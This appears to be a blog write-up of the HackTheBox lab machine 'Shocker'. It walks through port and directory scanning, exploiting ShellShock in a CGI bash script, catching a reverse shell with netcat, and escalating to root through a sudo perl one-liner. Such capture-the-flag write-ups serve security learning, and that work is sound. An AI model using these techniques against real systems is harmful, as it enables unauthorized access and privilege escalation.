This is a walkthrough writeup on Shocker which is a Linux box categorized as easy on HackTheBox. The initial foothold was gained by discovering & exploiting the ShellShcok vulnerability to gain the user shell. Priviliege escalation part was relatively easy and was done by exploiting the SUDO permissions for the user. Overall, this was a pretty easy box with a primary focus on the Shellshock exploitation.
Shocker Writeup: Scanning Network
Running the usual Nmap port scan :
Command used --> nmap -n -Pn -A -v -sC -sV -oN nmap.initial 10.10.10.56 Nmap scan report for 10.10.10.56 Host is up (0.17s latency). Not shown: 998 closed ports PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) | http-methods: |_ Supported Methods: POST OPTIONS GET HEAD |_http-server-header: Apache/2.4.18 (Ubuntu) |_http-title: Site doesn't have a title (text/html). 2222/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.2 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 c4:f8:ad:e8:f8:04:77:de:cf:15:0d:63:0a:18:7e:49 (RSA) | 256 22:8f:b1:97:bf:0f:17:08:fc:7e:2c:8f:e9:77:3a:48 (ECDSA) |_ 256 e6:ac:27:a3:b5:a9:f1:12:3c:34:a5:5d:5b:eb:3d:e9 (ED25519) No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
We got 2 open ports :
port 80 : Apache web-server
port 2222 : SSH
Shocker Writeup: Web Enumeration
Checking out the hosted website in our browser :
We get to see this image on the index page of the website –
Running a Dirsearch Scan
dirsearch.py -u http://10.10.10.56/ -e php,html -o ./disearch_def.txt 403 297B http://10.10.10.56:80/.ht_wsr.txt 403 300B http://10.10.10.56:80/.htaccess.bak1 403 302B http://10.10.10.56:80/.htaccess.sample 403 300B http://10.10.10.56:80/.htaccess.orig 403 300B http://10.10.10.56:80/.htaccess.save 403 298B http://10.10.10.56:80/.htaccess_sc 403 301B http://10.10.10.56:80/.htaccess_extra 403 300B http://10.10.10.56:80/.htaccess_orig 403 298B http://10.10.10.56:80/.htaccessOLD 403 298B http://10.10.10.56:80/.htaccessBAK 403 299B http://10.10.10.56:80/.htaccessOLD2 403 290B http://10.10.10.56:80/.htm 403 291B http://10.10.10.56:80/.html 403 296B http://10.10.10.56:80/.htpasswds 403 297B http://10.10.10.56:80/.httr-oauth 403 300B http://10.10.10.56:80/.htpasswd_test 403 299B http://10.10.10.56:80/server-status 403 300B http://10.10.10.56:80/server-status/ 403 294B http://10.10.10.56:80/cgi-bin/ 200 137B http://10.10.10.56:80/index.html
I was kinds stuck here, because we found nothing worth attacking.
But we see
/cgi-bin/ directory which was forbidden & from my past experience I figured that this might lead us somewhere. So, I went ahead and launched a
dirsearch scan on the
/cgi-bin/ directory to discover any other interesting sub-directories or files inside this directory.
Usually the CGI scripts inside the
/cgi-bin/ directory are compiled programs, so I added the extension flag in the dirsearch scan to discover any bash, php or python files :
# Dirsearch started Tue Nov 2 03:06:44 2021 as: dirsearch.py -u http://10.10.10.56/cgi-bin/ -o ./dirsearch_cgi.txt -e sh,py,php 200 119B http://10.10.10.56:80/cgi-bin/user.sh
And indeed, we did find a potentially useful file
What is a CGI script ? -> In computing, Common Gateway Interface (CGI) is an interface specification that enables web servers to execute an external program, typically to process user requests. -> Such programs are often written in a scripting language and are commonly referred to as CGI scripts, but they may include compiled programs. -> CGI is used in Dynamic websites, because in static websites, there is no user input which needs to processed.
On visiting the
user.sh file, we get the following file :
Content-Type: text/plain Just an uptime test script 03:17:52 up 1:02, 0 users, load average: 0.00, 0.00, 0.00
This looks like the output of the
uptime command in Linux, verifying that this is a CGI bash script running on Shocker.
Shocker Writeup: Exploitation
Now, because the box name is “Shocker” and we have found a CGI bash script on the box. The foremost vulnerability that one should think of is the well known “ShellShock Vulnerability“.
Also, a quick google search about “
cgi-bin exploits” will give you plenty or results about the ShellShock vulnerability.
(To be honest, I recently did a box from Vulnhub named SickOS 1.1 & the primary vulnerability in this box was also ShellShock, thus I had an idea about it)
What is Shell-shock ? -> Bash allows functions to be defined in environment variables. The vulnerability is caused by the fact that if an environment variable passed to a bash script & contains a function definition followed by arbitrary bash commands, those commands are executed. -> Before running a CGI script, Apache gives it some context by setting environment variables corresponding to some of the HTTP headers of the request, such as User-Agent, Cookie, Referer etc. Since those are fully user controlled, we can inject any payload we want in them & get RCE. You can read more about ShellShock here.
Manually Verifying ShellShock
We will use BurpSuite to send the malicious request and view the response from Shocker.
Alternatively, you can also run the nmap
--script http-shellshock script on the target to check if it is vulnerable to ShellShock or not.
We can see the output “exploited” in the response, which verifies that Shocker is vulnerable to ShellShock, and thus we have RCE on the box. Let’s now obtain a reverse shell.
Shocker Writeup: User Flag ⛳
Exploiting RCE to get a reverse shell :
┌─[root@kali]─[~/Desktop/Boxes/HTB/Shocker] └──╼ #nc -nvlp 6969 listening on [any] 6969 ... connect to [10.10.14.9] from (UNKNOWN) [10.10.10.56] 33354 bash: no job control in this shell shelly@Shocker:/usr/lib/cgi-bin$ whoami shelly shelly@Shocker:/usr/lib/cgi-bin$ id uid=1000(shelly) gid=1000(shelly) groups=1000(shelly),4(adm),24(cdrom),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare) shelly@Shocker:/usr/lib/cgi-bin$ pwd /usr/lib/cgi-bin shelly@Shocker:/usr/lib/cgi-bin$ cd /home shelly@Shocker:/home$ ls -al total 12 drwxr-xr-x 3 root root 4096 Sep 22 2017 . drwxr-xr-x 23 root root 4096 Sep 22 2017 .. drwxr-xr-x 4 shelly shelly 4096 Sep 22 2017 shelly shelly@Shocker:/home$ cd shelly shelly@Shocker:/home/shelly$ ls -al total 36 drwxr-xr-x 4 shelly shelly 4096 Sep 22 2017 . drwxr-xr-x 3 root root 4096 Sep 22 2017 .. -rw------- 1 root root 0 Sep 25 2017 .bash_history -rw-r--r-- 1 shelly shelly 220 Sep 22 2017 .bash_logout -rw-r--r-- 1 shelly shelly 3771 Sep 22 2017 .bashrc drwx------ 2 shelly shelly 4096 Sep 22 2017 .cache drwxrwxr-x 2 shelly shelly 4096 Sep 22 2017 .nano -rw-r--r-- 1 shelly shelly 655 Sep 22 2017 .profile -rw-r--r-- 1 root root 66 Sep 22 2017 .selected_editor -rw-r--r-- 1 shelly shelly 0 Sep 22 2017 .sudo_as_admin_successful -r--r--r-- 1 root root 33 Nov 2 02:15 user.txt shelly@Shocker:/home/shelly$ cat user.txt 102b4***************************
Checking the SUDO permissions for the user Shelly :
shelly@Shocker:/home/shelly$ sudo -l sudo -l Matching Defaults entries for shelly on Shocker: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin User shelly may run the following commands on Shocker: (root) NOPASSWD: /usr/bin/perl
Great! We can excute
/usr/bin/perl as root. It’s pretty straightforward to get an elevated root shell from here 🙂
Shocker Writeup: Root Flag ⛳
shelly@Shocker:/tmp$ sudo perl -e 'exec "/bin/bash"' root@Shocker:/tmp# whoami root root@Shocker:/tmp# id uid=0(root) gid=0(root) groups=0(root) root@Shocker:/tmp# cd /root root@Shocker:~# ls root.txt root@Shocker:~# cat root.txt a2a5***************************
So, that was all for Shocker. Until next time, do checkout other interesting writeups & articles on sheerazali.com